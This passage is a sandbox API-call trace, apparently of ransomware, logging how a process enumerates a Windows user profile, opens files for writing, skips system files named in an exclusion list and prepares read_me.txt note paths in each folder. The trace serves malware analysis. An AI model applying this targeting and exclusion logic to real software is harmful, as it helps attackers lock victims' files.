ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 43 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 43 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 43 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 39 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 48 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 39 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 46 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 41 [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned 44 [0078.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0078.402] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned 49 [0078.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.402] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0078.403] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned 49 [0078.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.403] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0078.403] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 89 [0078.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.403] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0078.403] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 126 [0078.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.403] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0078.403] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 126 [0078.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.403] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0078.403] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned 44 [0078.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="read_me.txt") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="autoexec.bat") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="desktop.ini") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="autorun.inf") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="ntuser.dat") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="iconcache.db") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="bootsect.bak") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="boot.ini") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="ntuser.dat.log") returned 0x0 [0078.404] StrStrW (lpFirst="ntuser.ini", lpSrch="thumbs.db") returned 0x0 [0078.404] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 5 [0078.404] QueueUserWorkItem (Function=0x404e00, Context=0x7a8, Flags=0x0) returned 1 [0078.404] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 42 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned 43 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned 40 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ad15970, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ad15970, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned 45 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ad15970, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ad15970, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned 42 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned 40 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned 44 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned 43 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 40 [0078.405] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0078.405] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.405] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\read_me.txt") returned 45 [0078.405] GetProcessHeap () returned 0x540000 [0078.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43f00a0 | out: hHeap=0x540000) returned 1 [0078.405] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 35 [0078.405] GetProcessHeap () returned 0x540000 [0078.405] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4192080 | out: hHeap=0x540000) returned 1 [0078.596] GetProcessHeap () returned 0x540000 [0078.597] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44600d8 [0078.597] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*") returned 43 [0078.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0xffffffff [0078.597] wnsprintfW (in: pszDest=0x44600d8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\read_me.txt") returned 53 [0078.597] GetProcessHeap () returned 0x540000 [0078.597] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44600d8 | out: hHeap=0x540000) returned 1 [0078.597] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 37 [0078.597] GetProcessHeap () returned 0x540000 [0078.597] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41d20a0 | out: hHeap=0x540000) returned 1 [0078.602] GetProcessHeap () returned 0x540000 [0078.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41d20a0 [0078.602] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned 43 [0078.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.602] wnsprintfW (in: pszDest=0x41d20a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 43 [0078.602] FindNextFileW (in: 